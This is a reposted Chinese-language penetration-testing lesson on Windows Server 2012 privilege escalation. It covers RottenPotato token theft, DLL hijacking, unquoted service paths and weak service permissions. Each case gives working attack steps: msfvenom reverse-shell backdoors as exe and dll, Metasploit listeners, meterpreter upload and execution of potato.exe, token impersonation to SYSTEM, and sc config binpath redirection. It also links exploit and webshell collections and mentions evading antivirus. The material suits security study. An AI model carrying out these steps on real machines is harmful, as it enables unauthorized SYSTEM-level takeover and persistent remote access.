62:權限提升-爛土豆&dll劫持&引號路徑&服務權限


本課內容

  • 案例1:win2012-爛土豆配合令牌竊取提權-web權限
  • 案例2:win2012-DLL劫持提權應用配合MSF-web權限
  • 案例3:win2012-不帶引號服務路徑配合MSF-web,本地權限
  • 案例4:win2012-不安全的服務權限配合MSF-本地權限
  • 案例5:AlwaysInstallElevated提權&Unattended Installs提權-雞肋
  • 案例6:關於Windows提權知識點總結說明-權限層、系統層、防護層

案例1:win2012-爛土豆配合令牌竊取提權-web權限

單純令牌竊取:適用於web權限或本地提權
如配合爛土豆提權:適用於web或數據庫等權限

RottenPotato(爛土豆)提權的原理可以簡述如下:

  • 1.欺騙 “NT AUTHORITY\SYSTEM”賬戶通過NTLM認證到我們控制的TCP終端。
  • 2.對這個認證過程使用中間人攻擊(NTLM重放),為“NT AUTHORITY\SYSTEM”賬戶本地協商一個安全令牌。這個過程是通過一系列的Windows API調用實現的。
  • 3.模仿這個令牌。只有具有“模仿安全令牌權限”的賬戶才能去模仿別人的令牌。一般大多數的服務型賬戶(IIS、MSSQL等)有這個權限,大多數用戶級的賬戶沒有這個權限。

所以,一般從web拿到的webshell都是IIS服務器權限,是具有這個模仿權限的。測試過程中,我發現使用已經建好的賬戶(就是上面說的用戶級賬戶)去反彈meterpreter然后再去執行EXP的時候會失敗,但使用菜刀(IIS服務器權限)反彈meterpreter就會成功。即非服務類用戶權限無法竊取成功。

爛土豆比熱土豆的優點是:    

  • 1.100%可靠      
  • 2.(當時)全版本通殺。    
  • 3.立即生效,不用像hot  potato那樣有時候需要等Windows更新才能使用。

總之,我對這個的理解是通過中間人攻擊,將COM(NT\\SYSTEM權限)在第二步挑戰應答過程中認證的區塊改成自己的區塊獲取SYSTEM令牌,然后利用msf的模仿令牌功能模仿SYSTEM令牌。

原理參考:https://www.cnblogs.com/backlion/p/9484950.html

爛土豆下載:https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075

過程:上傳爛土豆-執行爛土豆-利用竊取模塊-竊取SYSTEM-成功

<1>首先,獲取一個web權限

<2>用以下命令生成一個后門,並上傳到目標服務器。

msfvenom -p  windows/meterpreter/reverse_tcp lhost=<Your IP Address> lport=<Your Port to Connect On>  -f exe -o shell.exe

<3>msf啟動監聽

msfconsole
use exploit/multi/handler
set payload  windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 5577
exploit

<4>執行后門程序

<5>監聽到會話,是web普通權限。

<6>下面我們單純用令牌竊取試試能否提權,失敗。所以說,單純用令牌竊取提權需要有一個高一點的權限,如果單純是一個web權限,應該是無法成功的。(注意:如果先用令牌竊取失敗,再嘗試用爛土豆配合令牌竊取,可能會導致后者也失敗,必須從頭重新開始。所以最好直接使用爛土豆配合令牌竊取,不要測試這一步)

<7>嘗試用爛土豆配合令牌竊取提權。

先將爛土豆上傳到目標服務器

upload  /root/potato.exe C:\Users\Public

然后執行以下命令,成功提權。

cd C:\\
execute -cH -f ./potato.exe
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

案例2:win2012-DLL劫持提權應用配合MSF-web權限

原理:Windows程序啟動的時候需要DLL。如果這些DLL不存在,則可以通過在應用程序要查找的位置放置惡意DLL來提權。通常,Windows應用程序有其預定義好的搜索DLL的路徑,它會根據下面的順序進行搜索:

  • 1.應用程序加載的目錄
  • 2.C:\Windows\System32
  • 3.C:\Windows\System
  • 4.C:\Windows
  • 5.當前工作目錄Current Working Directory,CWD
  • 6.在PATH環境變量的目錄(先系統后用戶)

過程:信息收集-進程調試-制作dll並上傳-替換dll-啟動應用后成功

<1>通過信息收集,發現目標服務器上存在一個第三方軟件flashfxp。

<2>本地下載一個相同的軟件,使用火絨劍工具進行進程調試分析。由於系統文件和系統目錄里的文件我們無法刪除修改,因此我們可以重點查看在軟件安裝目錄里的未知文件和數字簽名文件。可以選擇ssleay32.dll文件進行后續的刪除替換。

火絨劍下載:https://www.sdbeta.com/wg/2020/0628/235361.html

<3>msf生成后門木馬test.dll

msfvenom -p windows/meterpreter/reverse_tcp lhost=<Your IP Address> lport=<Your Port to Connect On> -f dll >/opt/test.dll

<4>將test.dll上傳到目標服務器,修改名字並替換原來的ssleay32.dll。

<5>msf啟動監聽,服務器運行flashfxp軟件程序,成功監聽到會話。

msfconsole
use exploit/multi/handler
set payload  windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6677
exploit

<6>配合令牌竊取,成功提權。

use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

補充說明:dll劫持提權及AlwaysInstallElevated等說明

  • dll劫持提權需要特定軟件應用的控制權限及啟用配合,復雜雞肋
  • AlwaysInstallElevated提權默認禁用配置,利用成功機會很少

案例3:win2012-不帶引號服務路徑配合MSF-web,本地權限

原理:當Windows服務運行時,會發生以下兩種情況之一。如果給出了可執行文件,並且引用了完整路徑,則系統會按字面解釋它並執行(如圖1)。但是,如果服務的二進制路徑未包含在引號中,則操作系統將會執行找到的空格分隔的服務路徑的第一個實例。

圖1:可執行文件的路徑被包含在引號中

比如,有一個服務a.exe,他的可執行文件的路徑是“C:\Program Files\a.exe”,路徑被包含在引號中,則系統會正常解釋並執行它,但是如果可執行文件的路徑是C:\Program Files\a.exe,未被包含在引號中,則操作系統會執行空格之前的C:\Program,而將空格之后的 Files\a.exe當做參數,導致出錯,如下圖所示

過程:檢測引號服務路徑-利用路徑制作文件並上傳-啟用服務或重啟-調用后成功

<1>執行命令,檢測未被引號包含且還有空格的服務路徑。

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

<2>使用msf制作一個后門,命名為Program.exe,上傳到目標服務器C盤根目錄。

<3>啟動服務。可以在webshell中或者本地啟動服務。但是測試時,webshell中啟動不了,所以不帶引號服務路徑提權方法還是多用於本地提權。

sc start "服務名"

<4>msf監聽到會話,提權成功。

案例4:win2012-不安全的服務權限配合MSF-本地權限

原理:即使正確引用了服務路徑,也可能存在其他漏洞。由於管理配置錯誤,用戶可能對服務擁有過多的權限,例如,可以直接修改它導致重定向執行文件。

過程:檢測服務權限配置-制作文件並上傳-更改服務路徑指向-調用后成功

<1>執行命令,檢測當前用戶所在組的服務權限(實戰中一般都不是administrators組,這里僅做測試用),列出的都是當前用戶可以操作的服務。

accesschk.exe -uwcqv "administrators" *
AccessChk下載:https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk

<2>制作后門木馬並上傳。這里我們用的是案例3中上傳的木馬。(名字可以隨便起)

<3>從第一步列出的服務中選擇一個服務,更改其服務路徑指向。

比如選擇NewServiceName服務,它原來的服務路徑指向為C:\test.exe。

執行命令,更改其服務路徑指向為我們上傳的木馬的路徑。

sc config "NewServiceName" binpath="C:\Program.exe"

<4>啟動服務,監聽到會話,提權成功。

sc start "NewServiceName"

案例5:AlwaysInstallElevated提權&Unattended Installs提權-雞肋

1、AlwaysInstallElevated是一種允許非管理用戶以SYSTEM權限運行Microsoft Windows安裝程序包(.MSI文件)的設置。默認情況下禁用此設置,需系統管理員手動啟用他。這個利用條件太苛刻,基本沒法用,雞肋。

參考:https://xz.aliyun.com/t/2519

2、Unattended Installs提權也不太好用,現實中沒遇到過。

參考:https://www.cnblogs.com/zpchcbd/p/12232683.html

案例6:關於Windows提權知識點總結說明-權限層、系統層、防護層

掌握:提權方法對應層面,提權方法對應系統版本,相關文件及后門免殺問題等。

涉及資源:https://github.com/tennc/webshell


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM